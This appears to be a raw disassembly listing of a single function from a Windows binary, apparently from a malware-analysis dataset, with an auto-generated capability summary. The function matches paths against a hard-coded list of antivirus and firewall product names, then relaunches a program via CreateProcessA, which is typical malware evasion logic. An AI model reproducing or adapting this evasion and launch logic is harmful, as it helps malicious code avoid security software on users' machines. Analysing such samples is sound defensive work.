Function at 0x407830
Capabilities:
Create process on windows
Resolve function by parsing pe exports
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4381bb
mov eax, dword fs:[0]
push eax
sub esp, 0x530
mov eax, dword [0x441480]
xor eax, esp
mov dword [esp + 0x528], eax
push ebx
push esi
push edi
mov eax, dword [0x441480]
xor eax, esp
push eax
lea eax, [esp + 0x540]
mov dword fs:[0], eax
xor esi, esi
push 1
mov dword [esp + 0x18], esi
call fcn.00422819
mov edi, eax
add esp, 4
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], esi
xor ebx, ebx
mov dword [esp + 0x548], esi
mov byte [esp + 0x13], 0
mov dword [esp + 0x18], ebx
cmp dword [0x443cd0], ebx
jle 0x407d8d
cmp byte [esp + 0x13], 0
jne 0x4079b2
mov eax, dword [0x443cd4]
mov eax, dword [eax + ebx*4]
mov ecx, str._START
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4078e0
test dl, dl
je 0x4078dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4078e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4078c0
xor eax, eax
jmp 0x4078e5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x407a5b
inc ebx
mov byte [esp + 0x13], 1
mov dword [esp + 0x18], ebx
cmp ebx, dword [0x443cd0]
jge 0x407a5b
mov ecx, dword [0x443cd4]
mov ebx, dword [ecx + ebx*4]
lea edx, [esi + 2]
push edx
push edi
mov dword [esp + 0x1c], ebx
call fcn.004228ad
lea edi, [esi + 1]
add esp, 8
mov ecx, esi
cmp esi, edi
jge 0x40793f
mov edx, 0x43c654
sub edx, esi
lea ecx, [ecx]
mov bl, byte [ecx + edx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edi
jl 0x407930
mov ebx, dword [esp + 0x14]
mov ecx, ebx
mov byte [edi + eax], 0
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407948
sub ecx, esi
lea esi, [edi + ecx]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.004228ad
add esp, 8
mov ecx, edi
cmp edi, esi
jge 0x40797b
mov edx, ebx
sub edx, edi
jmp 0x407970
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jl 0x407970
lea edx, [esi + 3]
push edx
push eax
mov byte [esi + eax], 0
call fcn.004228ad
lea ecx, [esi + 2]
add esp, 8
mov edi, eax
mov eax, esi
cmp esi, ecx
jge 0x407a4d
mov edx, 0x43daa8
sub edx, esi
mov bl, byte [eax + edx]
mov byte [eax + edi], bl
inc eax
cmp eax, ecx
jl 0x4079a2
jmp 0x407a4d
lea eax, [esi + 2]
push eax
push edi
call fcn.004228ad
lea edi, [esi + 1]
add esp, 8
mov ecx, esi
cmp esi, edi
jge 0x4079df
mov edx, 0x43c654
sub edx, esi
nop
mov bl, byte [ecx + edx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edi
jl 0x4079d0
mov ebx, dword [esp + 0x18]
mov ecx, dword [0x443cd4]
mov byte [edi + eax], 0
mov ebx, dword [ecx + ebx*4]
mov ecx, ebx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4079f1
sub ecx, esi
lea esi, [edi + ecx]
lea edx, [esi + 1]
push edx
push eax
call fcn.004228ad
add esp, 8
mov ecx, edi
cmp edi, esi
jge 0x407a1f
mov edx, ebx
sub edx, edi
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jl 0x407a14
lea ecx, [esi + 3]
push ecx
push eax
mov byte [esi + eax], 0
call fcn.004228ad
lea ecx, [esi + 2]
add esp, 8
mov edi, eax
mov eax, esi
cmp esi, ecx
jge 0x407a4d
mov edx, 0x43daa8
sub edx, esi
mov bl, byte [eax + edx]
mov byte [eax + edi], bl
inc eax
cmp eax, ecx
jl 0x407a42
mov ebx, dword [esp + 0x18]
mov esi, ecx
mov byte [esi + edi], 0
mov dword [esp + 0x20], esi
inc ebx
mov dword [esp + 0x18], ebx
cmp ebx, dword [0x443cd0]
jl 0x4078a8
cmp byte [esp + 0x13], 0
mov dword [esp + 0x1c], edi
je 0x407d8d
mov dword [esp + 0x34], str.avast
mov dword [esp + 0x38], 0x43dbec
mov dword [esp + 0x3c], str.eset
mov dword [esp + 0x40], str.egui
mov dword [esp + 0x44], 0x43dc00
mov dword [esp + 0x48], str.kasper
mov dword [esp + 0x4c], str.drweb
mov dword [esp + 0x50], str.clamav
mov dword [esp + 0x54], str.ekrn
mov dword [esp + 0x58], 0x43dc24
mov dword [esp + 0x5c], str.antivir
mov dword [esp + 0x60], str.f_prot
mov dword [esp + 0x64], 0x43dc38
mov dword [esp + 0x68], str.nod32
mov dword [esp + 0x6c], str.avira
mov dword [esp + 0x70], str.arcavir
mov dword [esp + 0x74], str.bitdefender
mov dword [esp + 0x78], str.f_secure
mov dword [esp + 0x7c], str.fsecure
mov dword [esp + 0x80], str.g_data
mov dword [esp + 0x84], str.gdata
mov dword [esp + 0x88], str.ikarus
mov dword [esp + 0x8c], str.panda
mov dword [esp + 0x90], str.quickheal
mov dword [esp + 0x94], str.sophos
mov dword [esp + 0x98], str.vba32
mov dword [esp + 0x9c], str.virusbuster
mov dword [esp + 0xa0], str.symantec
mov dword [esp + 0xa4], str.norton
mov dword [esp + 0xa8], str.cureit
mov dword [esp + 0xac], str.trendmicro
mov dword [esp + 0xb0], str.mcafee
mov dword [esp + 0xb4], str.msascui
mov dword [esp + 0xb8], str.iobit
mov dword [esp + 0xbc], str.outpost
mov dword [esp + 0xc0], str.agnitum
mov dword [esp + 0xc4], str.comodo
mov dword [esp + 0xc8], str.firewall
xor esi, esi
mov edx, dword [esp + esi*4 + 0x34]
mov ebx, dword [esp + 0x14]
push edx
push ebx
call fcn.00422b30
add esp, 8
test eax, eax
jne 0x407d8d
inc esi
cmp esi, 0x26
jl 0x407be6
push eax
push eax
lea eax, [esp + 0x224]
push eax
lea ecx, [esp + 0x330]
push ecx
push ebx
call fcn.00423615
add esp, 0x14
lea edx, [esp + 0x21c]
push edx
lea eax, [esp + 0x328]
push eax
lea ecx, [esp + 0x434]
push str._s_s
push ecx
call fcn.00420bd5
add esp, 0x10
lea edx, [esp + 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.TEMP
call fcn.00420d1e
add esp, 4
mov dword [esp + 0x14], eax
call fcn.00401000
mov esi, eax
push 0x104
lea eax, [esp + 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
mov eax, ebx
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x407cb0
test dl, dl
je 0x407cac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x407cb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x407c90
xor eax, eax
jmp 0x407cb5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x407d3f
push esi
push ebx
call fcn.00422b30
add esp, 8
test eax, eax
jne 0x407d3f
cmp byte [0x444a85], al
jne 0x407cdf
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov eax, dword [ecx + 0x9c]
push eax
push ebx
call fcn.00422b30
add esp, 8
test eax, eax
jne 0x407d3f
mov edx, dword [esp + 0x14]
push edx
push ebx
call fcn.00422b30
add esp, 8
test eax, eax
jne 0x407d3f
cmp byte [0x444a85], al
jne 0x407d1f
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov edx, dword [ecx + 0x98]
push ebx
lea eax, [esp + 0x118]
push eax
push edx
mov eax, ebx
call fcn.00404dc0
add esp, 0xc
push esi
call fcn.00420c59
add esp, 4
push 0x44
lea eax, [esp + 0xd0]
push 0
push eax
call fcn.00429890
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0xd0]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push edi
push eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push edi
call fcn.004214f1
add esp, 4
mov ecx, dword [esp + 0x540]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x528]
xor ecx, esp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret